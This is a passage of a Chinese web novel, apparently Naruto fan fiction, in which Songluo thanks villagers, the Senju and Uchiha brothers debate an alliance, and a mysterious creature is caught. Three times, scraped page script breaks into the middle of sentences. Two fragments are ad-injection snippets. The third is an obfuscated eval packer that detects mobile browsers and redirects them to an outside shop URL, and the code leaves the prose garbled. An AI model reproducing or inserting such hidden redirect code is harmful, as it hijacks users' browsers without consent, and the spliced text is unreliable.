“不,城主大人,请一定要让我感谢您救了我的儿子,若不是您,狗蛋他在那天犯病的入侵者在城里肆意破坏的时候就死了……我真的不知道该怎么感谢您,尤其是您还敢走了入侵者,为我们受了重伤……” 松萝:……所以你们到底是在怎么宣传那天的事情的啊?那个“犯病的入侵者”就在我后面你怕不怕? 年轻的父亲已经抹起了眼泪,松萝不好意思跟他继续讲话,只好走到小男孩旁边。小男孩看着只有五岁上下,就是瞧着不太机灵,那天也是呆住了,害她差点没发现,现在也是呆呆地看着她。 “小朋友,你叫……狗蛋?”这个名字真有点难以念出口,像在骂人。 小男孩看着呆呆的,口齿却很伶俐:“不是,村里没有名字的男孩都叫狗蛋,但是我去塾里的第一天先生有帮我取名字。先生说我虽然看上去比别人迟钝,那一定是因为我是属于大器晚成的人,所以给我取了‘岁成’的名字。姐姐是城主吗?” 41.道谢 他的父亲听了,按住小孩的脑袋让他低头道歉。 “怎么能直接喊城主大人姐……真没礼貌!” “没关系,不用这样,”松萝蹲不下去,只能弯下腰对他说话,“岁成,听好了,下次遇到危险的事情,要第一时间逃跑知道吗,那样傻傻地站在原地可不行,姐姐可没办法每次都保护你,男子汉的话要学会自己保护自己。” 岁成今天其实是来说谢谢和对不起的,但是对着松萝拄着拐杖的样子,他第一反应却是问:“姐姐受伤的地方很疼吗?” “诶,”松萝苦恼地捧住了脑袋,“怎么办,姐姐不会撒谎诶,超级超级疼的。” “……对不起。” “嗯?您说什么?我听不清。”松萝把手拢在一只耳朵边,假装没听清。 “对不起,城主大人!,还有,谢谢您救了我!”岁成捏着拳头含着泪鞠了一躬。 额,稍微有点欺负过了,她咳了一声,然后义正严辞地说:“好,我接受你的道歉和道谢,不过,保护小孩子是大人的权利,我只是行使了自由支配自己的权利而已,跟你的关系不大。” 岁成懵懂地问她:“那等我长大了,我能有保护父亲和城主大人的权利吗?” 松萝噗嗤一笑:“那就要看你有没有本事了。” 他像是被激励了一般握紧拳头:“我一定会好好学本事的。” 小孩子真是又乖又好骗啊,松萝不禁想道。 最后她摸了把小男孩的头发,细细软软的还挺舒服,目送他们离去。 松萝回身,结果对上近侍大叔狂热的眼神,吓了一跳。 他突然抱拳弯腰,铿锵有力地发誓:“城主大人,我一定会一生追随您的!” 松萝:……? 他抬起晶亮的眼:“大家都是这么认为的,只有您才是禺黎城唯一的城主。您虽然想瞒着我们,但我们都知道您为我们付出了什么,您会在夜深无人的时候偷偷用忍术帮我们开山开路,打跑贼人,大家都知道,我们的城主是一个会在夜里偷偷帮忙的女忍者,是您带我们过上了现在的好生活,是您一直在保护我们,我们只认同您一个人。也许您忘记了,我的命跟那个小孩子一样也是您救下来的,请让我永远跟随您!” 这,这太过直白的夸赞和热情的宣誓松萝有些招架不住,虽然早知道城中侍卫有不少人感激她但……她捂着发热的脸,很不好意思,但是真的很高兴啊。 “想要追随我的话,现在这样可不够,康成近侍卫长。我等你左手拉弓满弦如右手,替我保护城堡里的人。” 康成近侍长瞪大眼睛:“您,您还记得……” “你可是我请来的神箭手,当然记得。” 康成扔下手中的长枪,匍匐跪地,三年前因为诬陷右手被废成为流浪汉的他,竟然还有一日,有这样一个人在期待他的左手弓,多少个夜晚隐秘的练习仿佛在这一刻终于被拨开云雾被月光看见。 “唉,”松萝看着一动不动又跪下的人,这种习惯她可喜欢不起来,刚才那位父亲也是,康成也是,都是一样的人,为什么要跪来跪去呢,什么时候能废除伏跪礼就好了,“我请你来可不是看你低头弯腰的。” “是,城主大人。”他开心地站起来,总感觉眼神更狂热了。 松萝:……她是不是以后少捡人比较好? 被康成看得心里毛毛的,松萝摩挲了一下手臂转身扑到斑背上,催促他:“快,快走,离他远一些。” 她的语气就像是背后有什么在追赶一样,斑轻笑出声:“城主大人真是被许多人喜爱着呢。” 松萝脸越来越红,干脆拨开他的长发,把自己埋了进去,闷闷地说:“连你也取笑我。” 这哪里是取笑啊。 斑轻轻摇头,难得看到脸皮薄成这样的松萝,明明在他面前永远脸皮厚得像个女流氓,胆子大得不行,完全就是仗着他的喜爱。 嗯,他承认,他也是“喜爱城主大人的许多人”中的一员。 一个笨到在生死相搏之时为了救一个小孩将后背大开的姑娘,谁不喜爱呢? 他也只是被这份善良与可爱吸引的人罢了。 斑背着松萝回房的路上遇上了迎面走来的柱间和奚山。他们俩作为城主的朋友起初是受到了热烈款待,后来却变成了城堡人手不足拉来充数的工具人。当“都是为了城主大人”这样的理由一被搬出来,他们瞬间由被动变为主动,贡献劳力和智力。 不过到了今日这般一切事务回归正轨之时,他俩也终于被放过,恢复了“城堡客人”的身份。 柱间看到他们笑了起来:“正好要去找你们呢。” 松萝看到熟悉的笑容,一句“大哥”差点脱口而出,但是她还记得自己现在“认知错乱”的人设,柱间现在对她来说应该是“虽然是敌人,但是有救治了她几日恩情在的可以当普通陌生人的人”。 ……简直过于复杂。 “找我们?” 松萝从斑背上探出头来问。 柱间点了点头,然后嘴角肉眼可见得下垂:“其实……扉间说他要来。” 松萝:!!! “你没有阻止他吗!?” 天要亡她,这个时候,这个样子被扉间看到,还有斑也在这,这已经不是训斥她一顿能解决的了的事了,八成,不,十成十会打起来啊。 大哥虽然很快接受了她认识斑的事情,扉间可不会,他可是那个发现大哥和斑在南贺川见面后要告诉父亲的那个超级超级厌恶宇智波的人啊! 柱间反射性地回复:“我当然阻止了,但他不是会乖乖听我……” 下一秒他突然反应过来,猛地盯向松萝:“为什么我要阻止他,为什么我能阻止他?扉间不是你跟斑的兄弟吗?你恢复了?什么时候?” 他眯起眼,锐利的目光盯住松萝,虽然在发问,心里却是已经确定,松萝的认知已经恢复正常了。 松萝:…… 哦不,这已经不是一重了,是双重地狱,本来还想着趁扉间还没来就怂恿大家逃跑的,现在还要面临柱间的质问。 这么想着,她感受到背着她的人突然身体紧绷了起来。 完了…是三重地狱没错了。 松萝求助似的看向唯一知情者漩涡奚山,却见那家伙立刻抛下她这个队友,装得一脸惊讶,丝毫看不出这人是共犯的样子。 圈在腿下的手忽然就松了,松萝顺势落地,不敢看斑转过来的脸,只敢盯着地面,视线里只有三个人的鞋子。 “什么时候恢复的?”低沉的声音就从头顶传来,闷闷地,好像 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 震着她的耳廓。 “就刚才…不是…是今天早上醒来……” 没有反应,不用想也知道他们不信。 柱间喊她:“过来。” 松萝没了拐杖只能一跳一跳地过去,经过奚山之时,一股闷气油然而生,蹦着完好的左腿砰一下跳到了他脚上狠狠踩下。 得意地看到奚山突然拧在一起的五官,松萝露出得逞的笑意,紧接着,乐极生悲,只因她落地之时把左脚给崴了。 “啊————” * 松萝一脸了无生趣的样子躺在床上,门很快被打开,一辆她前些日子“梦寐以求”的轮椅出现在面前。 ——不,她现在一点也不想见到轮椅。 但她现在连拐杖都不配使用了,四肢只剩下一只右手是完好的,她咬着被子恨恨地撕咬了几下。 转过身,嗯,人倒是挺全,三个都在。可松萝心里还惦记着“扉间要来”这件事,可怜巴巴地问:“我们能不能现在就离开这里?” 斑冷哼一声,不顾形象地翻了个白眼,一推轮椅撞到床边:“都这个样子了,你还想跑哪儿去?” 她弱弱地回答:“去扉间找不到的地方…” 柱间笑出声:“这么怕他?” “不是怕他,”松萝看向斑,“是怕你们打起来…” 斑听了烦躁地训她:“胡乱操心什么!” 松萝:“……我不是担心你,我是担心扉间被你按在地上打…” 斑:……想把刚刚感动了一瞬的自己烧没。 “哈哈哈哈哈,”柱间出来打圆场,“放心有我在他们打不起来。刚刚我没说完,扉间知道斑也在这里,并且斑的弟弟也会过来。嗯,我们不是为了打架,你也不用担心你的城堡。” 松萝想了一下他这话里的意思,宇智波和千手的族长和他们的弟弟,在这里,不是以打架为目的的见面,难道…大哥说服斑了?! 她一喜,就要从床上跳起来,然后又重重地倒了回去,留下了疼痛的泪水。 哦,那跟她现在这个四肢废了三肢的人有什么关系呢?她只是一个可怜无助行动都要靠轮椅的弱女子罢了,除了养伤,旁的事难道比重新站起来还要重要吗?去他的扉间! 柱间无奈地坐到她身边:“你怎么还是跟小时候一样……”然后帮她看起崴了的脚来。 “这个两三天就能好了,只要你不要再乱动乱跳,知道了吗?” 松萝含泪点头:“嗯。” 终归还是好奇他们四个身份特别的人聚在一起要干什么,于是直接问出了口。 柱间犹豫地看了一眼漩涡奚山,被松萝发现大声宣布说:“他是我的人,可以放心。” 她这话说得有歧义,屋里三人同时愣了一下。 “额,我的意思是他是可以信任的人,我保证。” 柱间挑眉:“好吧,虽然要讨论的事情有很多,但有一项跟你想学仙人模式有关。” “你是说…”松萝瞪大眼,瞳孔一缩。 柱间看到她的表情,以为是害怕了,连忙拉住她的手,没想到松萝突然挥开,然后一脸不是故意的样子说:“额,你刚刚摸了脚…虽然是我自己的脚…” 柱间:……得,还能关心这些有的没的,能害怕就怪了。 42.战国F4(1) 当晚,松萝做了一个梦。梦到扉间听说她近日的所作所为之后,从身后摸出一本族训来,然后把她关在一个只有小桌案的铁笼里,告诉她抄不完一百遍就不放她出来,而她的亲朋好友们以各种方式在她面前路过,用像看戏一样的眼神看着她。 醒来之后天才刚亮,她爬到窗边,看着淡蓝色的广阔无垠的天空,眉头下压,像决定生死大事一般下了一个决定:逃吧,在扉间来之前。 忍者不是会因四肢受限束缚住自由的人——by千手松萝。 她从右手手掌发射出藤蔓,直直射向外面高大的树,在粗壮的树枝上缠绕几圈之后,以一种人猿泰山的荡秋千方式离开了房间。 ——她绝对不是被梦吓着了哦,她只是想着早晨空气清新去散步而已。 出来之后,她也体会到了自己的鲁莽——至少应该揣上一兜钱再出来的!! 从树上荡到屋檐再荡到林中,消耗了不少体力的松萝摸着自己开始咕咕叫的肚子,仰天长叹一声。 ——回去吧,致我短暂的离家出走。 松萝的城堡在整个禺黎城的正中间,城堡建立在小山丘上,三面环绕着树林,一面通往丘下的居民集市和住所,再往外有一圈前几任城主修建留下的城墙,城内的居民被称为城民。城外还有六个村庄,数个山头,这些合起来才是禺黎城的全部范围。 城堡周围大多是树林的地形方便了松萝来回,她快速地穿梭林间之时,突然感受到一股窥探的视线,停下了移动单手吊在树上往一个方向看去。 只有那么一瞬,刚才移动中还能感觉到的,现在又消失了,可以肯定的那是一股非善意的窥探。 松萝皱眉盯着那个方向,但是很安静,什么也没有发生。 就在她以为是不是自己多心了的时候,树叶被风刮过的声音和脚跟踢在树上的声音同时传来,下一刻,一个高速移动的黑色身影朝着这边接近,松萝反应极快地一拉藤蔓,翻身坐上树枝。 得空的右手去摸腰间平时放着武器的地方,然后一怔,她出来连睡衣都没换,自然也没带什么手里剑和苦无。 只是这一瞬间,那个黑色身影就已接近到松萝身旁,但他不曾降速,只是淡淡地朝坐在树上的松萝投去了疑惑的一瞥,然后抬手一挥,将什么东西朝松萝扔去之后,便就径直跑远了。 留下一脸懵逼的松萝坐在树上,不是找她的? 她悻悻地摸了摸自己的脸,然后看向树干上一条被手里剑钉死的青蛇。她刚刚注意力都分给了那边居然没发现已经近到身旁的危险。 她拔下手里剑,甩掉沾上的蛇血,在手中把玩了几下然后收了起来。 原来是个赶路的忍者啊。 回忆起刚刚错身时的匆匆一瞥,松萝又在心底多加了一句,只不过是个相当年轻好看并且好心的忍者呢。 * 松萝回到房间的时候,早起来看望她却发现她不见了的柱间正面色不虞地站着。 松萝尴尬一笑:“我去散了个步,早上空气真好啊哈……” 柱间哼了一声:“真是小看你了,这样还能一个人跑出去。” 他嘲讽人的技能是越来越娴熟了,松萝总觉得是因为跟另一个冷面嘲讽王在一起时间越来越长的缘故。 “走吧,吃早饭。早起运动之后也该饿了吧。” 松萝赔笑,乖乖坐到轮椅上,被推着出去。 吃早饭的只有柱间、奚山和她。 “斑呢?” “他的弟弟到了。” 松萝突然卡了一下,手里的勺子不上不下,这个时候,不会这么巧吧…… “怎么了?” “没什么,只是想起来我还不知道他弟弟是个什么样的人。” “下午你就能见到了。” …… 中午的时候,扉间也抵达了。 终于,这座不是很大的四层城堡迎来了有史以来最重磅的客人们。 与扉间的再次见面比松萝想象中的要平静很多。准确的说是他的眼神很凶,脸色很臭,语气很冷,但全都对准了扶着轮椅的柱间。对于坐着轮椅,右脚裹着固定用的木板,左脚踝高高肿起,左肩到左手都裹着绷带,又穿着单薄的衣服的家伙,比起生气,更多的是不忍心。 “你做了些什么能把自己搞成这个样子?” 柱间和松萝都用傻笑蒙混过关,为了不在这个节骨眼上加深他对斑的偏见,他们隐瞒了这一半是被斑打的事实。 见面选在了会议室,漩涡奚山推着轮椅,跟在后面进入。 斑和他弟弟已经在会议室中了,一见到推门进来的是千手柱间和扉间,后者还是没忍住摆出了防御的姿势。 柱间没有在意这些小事,当先笑容满面地走过去:“斑,这就是你弟弟泉奈吧。” “……又不是没在战场上见过,装什么。” 泉奈说得很小声,但在场的人都听清楚了,一直跟他交手的扉间立刻不乐意了。 “你摆出这副架势是对着谁呢,你能打得过我大哥吗,宇智波?” 会议室里的气氛突然之间就变得剑拔弩张,松萝刚要开口制止,奚山先她一步:“要不,你们俩先出去打一架再进来?这屋子可受不了两位的爆发。” 气氛一下子就缓和起来,松萝悄悄地给奚山竖了个大拇指,换来一个得意的挑眉。 松萝这才有空打量这位宇智波泉奈。 他继承了宇智波的黑发和深邃的眼睛,五官秀气又不失优雅,低马尾的造型倒是有些少见。 他穿着宽松的黑色作战服,腰间别着一把紫色短刀,大概是精通刀法吧。 果然是在林中遇见的赶路人。 不过总觉得这个面孔有点熟悉。看了看旁边的炸毛青年,她恍然,应该是因为跟斑有点像的缘故吧。 比起林中他冷淡但是平和的气质,在这里明显还在警惕,不管是神色还是四肢都放不开,对着除了斑以外的人都多少露出了不喜和敌对的意思。 这并不是一朝一夕能改变的事情,事实上,扉间的状况也跟他差不多,这俩人能愿意到这里来已经是一个很大的进步了。 毕竟是在她的城堡里,松萝主动说:“坐下说吧。” 她一开口,就收获到了一道惊讶的目光,她朝 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 着看向她的少年无声地用嘴型说了一句“刚才谢谢你”。 松萝坐在主位,左手边是千手兄弟,右手边是宇智波兄弟,奚山则干脆搬了把凳子坐到她身后。 明明是很普通的六人小会议,总感觉像是千人齐聚的世纪大会一样庄严肃穆。 “先从自我介绍开始吧。”奚山自然而然地接过了主持的活,然后先介绍起了自己,“我是离家出走中的漩涡奚山,现在在这里的城主手下讨生活。” 松萝的“我是这里的城主”的自我介绍突然就变得难以开口了起来,瞪了奚山一眼还是说:“千手松萝,在这里是相当于城主的人。” 剩下四人一个比一个简洁,报了一下名字就结束了。 但是泉奈很明显不满了起来:“既然是谈判,千手的人有四个是怎么回事?这种时候保持人数的公平不是应该是最基本的吗?” “泉奈!”斑用出声制止他,“今天不是谈判只是会面。今天也不会动手。” 柱间打圆场:“大家都放松一点。毕竟之前都是一直在那种情况下见面,一下子要转换过来确实不太容易。泉奈君,今天其实是我请斑将你叫来的,不过我没有别的意思,只是觉得我们在讨论的事情应该让你知晓,毕竟你是斑唯一的弟弟了。今天在这里我也不是什么千手的族长,只是斑的朋友而已,你可以稍微相信我们一些吗?” 柱间确实很诚恳,对面坐着的人看他一会儿最终还是微微点了点头。 泉奈在听到斑提起希望他一起跟千手的族长会面的时候,很坚决地拒绝了,在他看来,这除了阴谋不做他想。 但是大哥的态度很坚决,并且吐露出一些他很在意的话语,比如“可能有人在觊觎写轮眼”。只这一句话,就足以让他冒险前来,这是一族看得比生命还要重要的东西,尽管他很困惑这种事情与千手有什么关系,抱着半成以上是阴谋的可能性,他还是来了,不能让大哥一个人冒险。 柱间继续说:“今天主要是为了讨论两件事。” 他环顾一圈,郑重地道出下一句话:“能像今天这样坐在一起平静的讨论事情真像是在做梦啊。” 所有人:…… 这个人总是能把严肃的气氛破坏掉啊。 “大哥,梦话要在做完了梦再说哦。”等哪天真的建立了宇智波和千手的村子再说这句话吧。 柱间挠挠后脑勺:“啊,抱歉,这实在是太不真实了我都有点害怕是假的。还是说正事吧。” “数百年来的忍者间争斗,带走了不知道多少人的性命,这样痛苦没有未来可言的日子,就让它到此为止吧,让千手和宇智波联手结束战争吧。 “不过这样的请求你们也不可能一上来就同意,哈哈……但是这是我的决意,结束战争,过上和平的日子,这是我从小就有的梦想……” 柱间虽然在这种时候也会时不时露出傻气的笑容,但认真时的样子也是真的坚定和威严,他的信念就跟他的强大一样可靠。 ——又要开始说他建立村子的梦想了啊,都不记得这是第几次听了…… 松萝听着柱间滔滔不绝地诉说,有一点心不在焉。 43.战国F4(2) “这种骗小孩一样的话你以为我们会信吗!和平?那只是大人编出来骗小孩子的东西罢了。不要告诉我你能放下亲人惨死的仇恨,然后跟仇人只隔着一道墙生活在一起,我的二哥和弟弟们都是被千手杀死的!” ——这也是当然的反应,谁不是呢,只要想起瓦间和板间,到现在都会觉得四肢冰凉。 扉间立刻反驳:“我的弟弟们也是死在你们宇智波手里,瓦间死的时候才七岁,板间只有六岁,对着这么小的孩子都能下手的你们是有多残忍……” “扉间!”柱间一拍桌子,“在战场上只要握起了武器,就算是再小的孩子也是战士,这对双方都是一样的事情。” ——这话好像是佛间爸爸说过的呢,他为了族人的未来定下了严格的族规,即使是小孩子也没有例外,柱间曾为此跟父亲吵过许多次…… 斑也跟泉奈说话让他冷静:“仇恨的连锁不会断绝,除非战到没有人能站起来的那一刻为止,我不想等到那一刻再后悔。泉奈,我和柱间是一样的想法。如果是为了未来的话,我愿意让仇恨在这一代停止。会有许多的人反对吧,但是我已经不想再失去了,在父亲也亡去的现在,我只有你一个弟弟了,不管让我做什么我都想保护你。” 虽然他们兄弟间的感情不需要怀疑,但斑还是第一次这么认真地对泉奈说出了他的想法。 “斑大哥……”泉奈感动之余也看见了斑身上多年累积下来的沉重包袱,他应该要继续反对的,不但为了死去的族人们,也为了一族的骄傲,但是怎么也说不出口。不管是继续作战,还是讲和,压力最大的都是大哥,那么为什么不让他选择自己想走的那一条路呢? 有那么一瞬间,泉奈陷入了迷茫。 但是他不是什么轻易会动摇的人。 年幼的泉奈就在父亲的教导下明白,他将来是要辅佐大哥管理全族的人,留给他撒娇依赖的时间被压缩得非常短暂。 九岁的时候,其它兄弟都离他和大哥而去,十二岁开始接触族务,十八岁大哥当上族长,落到他身上的事情也前所未有得多又杂。 说实话,他已经习惯了在每一件事情上计较利益得失,除了在斑大哥身上。 大哥比他大三岁,从小到大都是他仰望的存在,是既温柔又强大的哥哥。既然哥哥不善于经营与表达,那就由他来帮助哥哥就好了。在背后支持他,让他可以尽情地享受战斗,这就是他一直以来的愿望。 这样的大哥对他说“不管做什么也想保护他”,泉奈感到很温暖,甚至有一刹那就想跟着他的想法走,但就是因为这样,他更要保持理智才行。 泉奈很快收拾好了心情,像想通了什么似的,表情也变得镇定很多,面对着柱间和扉间也不再只是仇恨,而是很冷静的审视。 他很认真地开口:“千手的族长,你的理想确实很棒,但也仅仅只是理想而已,让我来告诉您,这有多么不现实吧。” “第一,因为战争,尤其是因为千手失去爱人、父母、子女、亲友的宇智波族人每年至少有数十人,被毁掉的家庭也不止一掌之数,相信千手也是一样,如果要讲和,第一步,您要如何挽救他们的悲痛和被破坏的人生,并说服他们与仇人住在一个村子里? “第二,忍者的资金来源的大部分是战争任务金,如果您是想要宇智波和千手联手接任务的话那么从此以后战争任务金应当会源源不断吧,但如果您要宇智波和千手压制整个忍界结束战争的话,您有没有想过以后维持族内生存的庞大资金从哪里来? “第三,您要建一个村子,一个不但有宇智波和千手,还愿意接纳其他来投靠的忍族的村子,金钱当然是一个重要问题,但更重要的是,这之后的平衡。我认可千手的强大,但不代表其它忍族也值得我们放下姿态去迎接。当外来的忍族越来越多,谁来管理村子,谁来制衡他们? “也许还有更多我现在没想到的,但就上面三点,如果您不能给出合理的解决方案的话,我只能认为您只是一个喜欢的做梦的人罢了。” 没有胜算的仗他不打,没有好处的合作他也绝对不谈,他在叫泉奈之前,首先姓宇智波。 说实话,泉奈的反应让所有人都很惊讶,第一眼之下最不淡定的他,却能在一瞬之间提出那么多问题,其实他才是最冷静最认真思考的人吧。 但正是这样,柱间才更高兴,他怕的从来不是难题,而是对方不愿意给他出难题。 柱间看着他的眼睛说:“谢谢你那么认真地考虑。对于那些痛苦的人们说实话我没有想到太好的挽救方法,亡者不会归来,再怎么样的补救也不如让他们换一个美好的环境自己慢慢想通。忍者的经济大多靠大名的接济不假,但是我考虑过了,以后我们可以考虑改变一下接的任务。为什么提起忍者就是血腥和战争呢,其它简单点的任务比如护送、清扫、寻人寻物为什么不可以呢?特别是对年纪小没有经验的人,这样更适合。至于你说的村子之后的管理……” 他停了下来,看向了坐在主位的松萝,实际上对于接下来的话他有一些犹豫。 那天漩涡奚山提出过一个大胆的想法,让松萝管理的禺黎城脱离火之国,而他们的村子则跟着禺黎城一起,这样有了自主管理的权力,不必听命于他人,村子的方针也可以随之改变。 但是弊端也是一目了然的。 那就是没钱。 像千手和宇智波这样的忍界名门大族,规模大,人数多,消耗也多,赚得也多,但这是在火之国,在大名的信任支持下。 如果他们真的脱离了火之国,想必开头会过得很艰辛吧,并不是说接不到任务,但火之国那边肯定会来打压。 但是相对的,禺黎城的潜力也是巨大的。 他从前从没想过要让忍者自由自主,不再听贵族和大名的命令,但是一旦升起这个念头,就再也挥之不去了。 忍者为什么不能有自己的国度,为什么一定要隐藏在“主公”身后,为什么他们不能当自己的“主公”呢?松萝和禺黎城给了他希望,给了他理想,给了他力量,忍者可不是战争的工具。 柱间突然停下话头看着松萝,所有人也便都顺着他朝主位看去。 柱间笑着转过头说:“村子的管理当然由宇智波和千手共同管理,若是后加入的忍族人数过多,就再加上第三方,大家一起讨论村子的建设和未来。” 不行,将禺黎城暴露出来还太早,再给它一点发展的时间吧,现在这样谁都不会相信它的潜力的。 泉奈听了柱间的回答并不是很开心,他很失望,包括建村在内,所有的设想都太粗糙,太天真了。 他皱眉低叹一声:“这样无法说服我,你的想法还是太理想化了。我无法支持。” 柱间听到这认真的“否决”愣住了,扉间看他的呆样子露出了进这个房间以来的第一个笑容:“哼,大哥,你倒也不必那么在意。那家伙,如果你不给他写着明确预算的方案的话,他都会批评你太天真的。” 柱间转向他问:“是这样吗?” 泉奈:……无法反驳但是为什么这个敌人这么了解他啊?! 扉间:哼,跟你对线斗了那么多年,我可是方方面面角角落落全都调查过了。 柱间认为他的沉默是默认,瞬间换上晶亮眼:“也就是说,如果能给出你认为合格的方案的话,你是不会反对宇智波和千手的结盟的是吗?” 扉间插嘴:“有利可图的事情傻子才会拒绝。” 泉奈:……所以如果一切合理他也拒绝的话就是傻子吗?呵呵,这个白毛还是一如既往的令人手痒啊。 他从鼻孔里发出“哼”的一声,然后没再接话。 柱间欣喜起来,事实上今天他们的主要目的之一就是说服斑的弟弟,毕竟斑已经可以说是跟他统一战线,扉间虽然不情愿吧,但这么多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13977522|145105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年磨下来了,也变得好说话许多。 像完成了一件大使命一样,他放松地端起眼前的茶大口饮尽,然后大声喊了一声“好喝”! 这件事算是过去了,接下来还有暗中人的事情…… 暗中人会对松萝和泉奈不利全是斑的猜想,并没有实证,但还是要说出来让各自有准备才好,尤其是对暗中人的存在完全不知晓的泉奈。 柱间和斑对视了一眼,这事应当交给他来说更有信服力。 “还有一件事……” “还有一件事我来说。” 斑刚一开口,漩涡奚山就用更大的声音盖住了他的。然后用极快的速度接上下一句话,不给他疑问的时间。 “九点钟方向十五米,地下两米。” 他这话说得没头没脑,让人徒生疑惑,但是柱间和斑却忽然消失在了座位。 没一会儿,他们就带着一个黑色的拳头大小的圆球回来了。 “这是什么?球?” 斑把球放在桌子中间,说道:“战斗力不怎么行,逃跑倒是挺快,暂时将它封印起来了。” 为了满头问号的宇智波泉奈,斑开始解释:“刚才说的还有一件事情就是这个。这个家伙大概在觊觎写轮眼,并从很久以前就潜伏在我们身边……” “……” “……所以昨天,想到他有可能在今日出现,我们制定了计划。” 漩涡奚山在此时适时举手:“我坐在后面降低存在感的同时一直用仙人模式警戒着。这家伙刚开始还离得很远,后来大概是仗着没人发现,越挪越近,所以刚才我才报了他的方位。” “所以,”松萝托腮观察这个黑球,“这是个什么玩意儿?” 如果是人的话肯定是绑了带进来,能被封印成这个样子的,首先应该要排除人籍吧。 “就是这点很奇怪,非要说的话像是一团流动的黑色液体上,长了五官?总之逃跑速度是真的快,差点被他溜了。” 这个形容,难道是黑暗生物?但是为什么她没有同类的感觉? 松萝:“那能交流吗?” 当然可以,柱间手掌动了动,那个圆球变形成一个四四方方的透明长方体,这下他们可以很清楚地看到里面有个黑色的人形东西。 头部确实是只能用“长着五官”来形容,完全没有美感和人样。 “从未听说过有这样的怪物…尾兽中也没有能改变形态在地下移动的…” 连阅读过不少书籍,且对奇奇怪怪的生物和忍术研究得很透彻的扉间都这么说的话,众人更疑惑了,这到底是个什么生物。 …… 那边已经开始讨论和询问了,宇智波泉奈的大脑还在宕机状态。 他突然想起来了,“松萝”这个名字似曾相识的原因。 嗯,她们肯定是不同的人,不能混为一谈,先放一边。 但是大哥说的那些都是什么意思? 他跟这个姓千手的女子许多年前就相识? 还有什么叫做“为了写轮眼的进化可能会伤害他或者这个女子”? 让他先捋一捋,按大哥刚才所说,多年之前就有人潜伏在大哥和这个千手女子周围,目的十有八九就是为了促成写轮眼的进化。 大哥现在已经从三勾玉进化到万花筒了,难道万花筒之上还有更进一步的写轮眼? 他想起族中秘地底下的那块石碑,那块刻着六道仙人名字的石碑。 他跟大哥在开启万花筒写轮眼之后再次去看确实发现碑文改变了,就跟他们第一次觉醒写轮眼之后去看发现碑文改变了一样。 难道说万花筒之上确实还有着更高级的写轮眼?但是族中为何从未有过记载和流传,连同觉醒方法一起? 与碑文的改变有关吗?但是碑文上都是古文,解读后的话也似乎与此无关…… 泉奈只觉得自己脑袋要炸掉了。 44.扉间的警告 “这家伙,是不会说话还是不愿意开口啊。” 他们围着黑色人形转了好几圈,使了好些探查的忍术,完全没有得到任何情报。不由得开始怀疑这东西到底有没有智慧了。 漩涡奚山是最疑惑的人:“我刚才感受到的恶意,确实是从他身上而来的,现在也有,虽然很微弱。” 柱间脸上出现黑色线条,肯定了他说的话:“我也是。而且刚才他逃跑的时候确实是用了忍术的,查克拉的流动不会说谎。” “那难道是需要‘拷|问’?” 话音一落,松萝看向全能的扉间,总感觉这事他能做到。 扉间有种被强迫的感觉,但他确实善于此道:“……好吧,交给我吧。” “等等,”泉奈终于甩掉脑子里纷乱的思绪,“这可能与我族机密有关,我跟你一起。” 两人视线交接,噼里啪啦的火花在空中具像化。 透明长方体重新变为黑色小球,交由他们二人轮流保管,具体怎么做,那就看他俩怎么商量了。 暮色将近的时候,由嘴巴最犀利的这两人互呛几句结束了本次“世纪会晤”。 …… 当晚,白天刚刚问出了“你能和杀父仇人住在一个村子里吗”的泉奈,跟千手俩兄弟住在了城堡的同一层楼里,心情复杂,尤其是听说斑已经在这里住了半个月的时候,那个心情就更…不知道怎么形容了。 现在这情况到底是他大哥打入了敌人内部还是敌人打入了他们内部? * “结界术?” 松萝叼着包子,疑惑地看向扉间。 包子是柱间晨练时下山买的,他给斑和他弟弟也送去了一份,而千手三兄妹现在都在松萝的房间里享用早饭。 扉间穿着黑色的长袖上衣和黑色的长裤,脑后的头发有些翘,眼底下有些青黑,看着像是熬夜刚起:“没错,族里之前就一直有关于结界的研究,开启时能侦查进入的人也能像保护罩一样笼罩住族地。不过进展一直不太理想,我也是最近才开始注意起来。” 松萝:“听起来不错。” “如果有了结界,那就不用再时时刻刻担心外来者了,而且我对空间也算有些研究,应该不久就能进行第一次尝试了。” 这可真是个好消息,柱间和奚山也会仙人模式对恶念比较敏感,松萝现在这状态根本没法做仙人模式的修行,而且其他人也不一定能时刻防范。结界如果研究成功了,以后城堡也可以罩一个。 “对了,”扉间提到空间研究就想起来了,“你上次提到的相对论、量子力学什么时候再仔细讲讲,感觉对开发空间忍术和结界很有帮助。” 说到这个松萝就开始头大,她不过口嗨装逼随便讲了讲以前上网看到过的一些名词,结果被这位空间大师追着问了好几次,那群弯弯绕绕的字符完全是天书,她随便一看,根本没记下多少。 嗯,好像有一种可以直接翻看记忆的忍术,要不她去学一下? 然后直接把记忆里的东西扒下来? 不过……两边文字不通啊怎么办? 万能的扉间学门外语应该难不倒他吧…… 嗯……那么问题回到了最初,谁会这种翻记忆的忍术啊…… “唔……下次吧。”她落荒而逃。 * 自从解决了新城主的事情之后,日子就变得清闲了起来,特别是养伤的松萝,几乎是终日都无事可做。 本来还会陪着她的柱间和斑在弟弟们来之后也不管她了,四个人带上奚山在会议室里从早待到晚,松萝去瞧过一次,吵得挺激烈的,桌子都快被拍裂了,但是一点进展都没有,就像是缺少一个契机…… 趁他们中午不在时松萝跑进去在桌上贴了一张“损坏需按半价赔偿,请小心使用”的纸条。 然后就坐在太阳底下发呆。 也许是在一个地方坐得太久了,一个城堡守卫找她搭话,松萝一瞧,这不是熟人四平吗? 就是之前那个当小偷被她抓住扔到牢里,然后赶上征兵现在还当上了小队长的四平。 